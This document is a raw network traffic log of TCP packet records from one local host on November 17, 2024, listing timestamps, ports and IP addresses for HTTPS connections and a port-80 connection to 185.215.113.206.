Nov 17, 2024 03:42:42.138812065 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:42.138907909 CET	49904	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:42.139121056 CET	49904	443	192.168.2.5	20.125.209.212
Nov 17, 2024 03:42:42.139137983 CET	443	49904	20.125.209.212	192.168.2.5
Nov 17, 2024 03:42:42.152329922 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:42.152370930 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:42.153367043 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:42.153381109 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:42.153454065 CET	49888	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:42.153461933 CET	443	49888	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:42.161942005 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.161968946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.161984921 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.161998034 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162014961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162022114 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162029028 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162050962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162058115 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162080050 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162102938 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162175894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162229061 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162272930 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162309885 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162359953 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162374020 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162383080 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162405014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162415981 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162440062 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162470102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162491083 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162506104 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162528992 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162555933 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162633896 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162674904 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162689924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162729025 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.162767887 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162832975 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.162885904 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.199903011 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.199937105 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.200084925 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.200694084 CET	49905	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.200705051 CET	443	49905	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.203382969 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.203447104 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.204159021 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.204457045 CET	49906	443	192.168.2.5	20.42.73.31
Nov 17, 2024 03:42:42.204473972 CET	443	49906	20.42.73.31	192.168.2.5
Nov 17, 2024 03:42:42.208169937 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.208206892 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.208245993 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.208287954 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.208302975 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.208348036 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.212275028 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.212302923 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.212359905 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.212379932 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.214366913 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.214417934 CET	443	49890	20.96.153.111	192.168.2.5
Nov 17, 2024 03:42:42.214488029 CET	49890	443	192.168.2.5	20.96.153.111
Nov 17, 2024 03:42:42.221849918 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.221885920 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.221925020 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.221937895 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.221976042 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.221988916 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.222043037 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.225414991 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.225476980 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.225553989 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.225563049 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.225658894 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.225851059 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.226350069 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.241643906 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.241940022 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.242625952 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.242641926 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.243134022 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.243139982 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.243577957 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.243597031 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.243901968 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.243915081 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.255110025 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.256161928 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.256192923 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.256666899 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.256670952 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.275104046 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.279964924 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.281536102 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.325409889 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.325475931 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.325526953 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.325562954 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.325579882 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.325601101 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.344373941 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.344388008 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.344423056 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.344444036 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.344470978 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.344490051 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.344518900 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.344589949 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.368218899 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.368391991 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.368467093 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.369168043 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.369188070 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369204044 CET	49894	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.369210958 CET	443	49894	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369786024 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369807959 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369904995 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.369919062 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369939089 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.369980097 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.371057987 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.371073961 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.371119022 CET	49896	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.371125937 CET	443	49896	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.380990982 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.381030083 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.381182909 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.382021904 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.382036924 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.384321928 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.384371996 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.384599924 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.384820938 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.384840965 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.391848087 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.391884089 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.391966105 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.392004967 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.392019033 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.392047882 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.394339085 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.394442081 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.394681931 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.397026062 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.397044897 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.397063971 CET	49895	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.397070885 CET	443	49895	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.400870085 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.400908947 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.401233912 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.401622057 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.401634932 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.442889929 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.442924023 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.442979097 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.443005085 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.443027020 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.443041086 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.493555069 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.494237900 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.494273901 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.497940063 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.498102903 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.499417067 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.499596119 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.503563881 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.503595114 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.503709078 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.503709078 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.503727913 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.503825903 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.504051924 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.504103899 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.505767107 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.507982969 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.507997990 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.509190083 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.509484053 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.509918928 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.510006905 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.510392904 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.510423899 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.510464907 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.510488033 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.510500908 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.510551929 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.547746897 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.547779083 CET	443	49898	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.558432102 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558463097 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558476925 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558490992 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558501959 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558537960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558537960 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558545113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558589935 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558610916 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558624983 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558629990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558660984 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558737993 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558768988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558783054 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558816910 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558830023 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558867931 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.558892012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558938026 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.558945894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.558965921 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.558995008 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559009075 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559025049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559057951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559062004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559118032 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559154987 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559245110 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559283018 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559298038 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559331894 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559334040 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559345961 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559369087 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559382915 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559396029 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559400082 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559411049 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559433937 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559433937 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559456110 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559710026 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559726000 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559739113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559753895 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559767962 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559847116 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559847116 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559880972 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559896946 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559911013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.559942961 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559962034 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.559989929 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560004950 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560026884 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560040951 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560043097 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560067892 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560103893 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560203075 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.560229063 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.560267925 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.560280085 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.560297966 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.560326099 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.560329914 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560344934 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560362101 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560376883 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560400009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560400009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560400009 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560400963 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.560429096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.560451031 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.570862055 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.571424961 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.571451902 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.571944952 CET	49897	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:42.571953058 CET	443	49897	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:42.572707891 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.572781086 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.575681925 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.575690985 CET	443	49899	23.198.7.167	192.168.2.5
Nov 17, 2024 03:42:42.577605009 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.577682972 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.577692032 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.577738047 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.578114986 CET	49893	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.578134060 CET	443	49893	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.591240883 CET	49898	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.622477055 CET	49899	443	192.168.2.5	23.198.7.167
Nov 17, 2024 03:42:42.623512983 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.623533964 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.623694897 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.623694897 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.623704910 CET	443	49892	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.625427008 CET	49892	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.658361912 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.661247969 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.663944960 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.663965940 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.664331913 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.664341927 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.665561914 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.665678978 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.665779114 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.665829897 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.666734934 CET	49901	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.666858912 CET	443	49901	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.667095900 CET	49900	443	192.168.2.5	204.79.197.219
Nov 17, 2024 03:42:42.667357922 CET	443	49900	204.79.197.219	192.168.2.5
Nov 17, 2024 03:42:42.676934004 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.676965952 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.677036047 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.677069902 CET	443	49891	104.117.247.168	192.168.2.5
Nov 17, 2024 03:42:42.677344084 CET	49891	443	192.168.2.5	104.117.247.168
Nov 17, 2024 03:42:42.677361012 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677397013 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677412987 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677412033 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677436113 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677455902 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677458048 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677472115 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677480936 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677520990 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677583933 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677603006 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677624941 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677644014 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677678108 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677704096 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677728891 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677736044 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677757025 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677773952 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677798033 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677818060 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677819014 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:42.677839041 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677856922 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:42.677937984 CET	80	49797	185.215.113.206	192.168.2.5
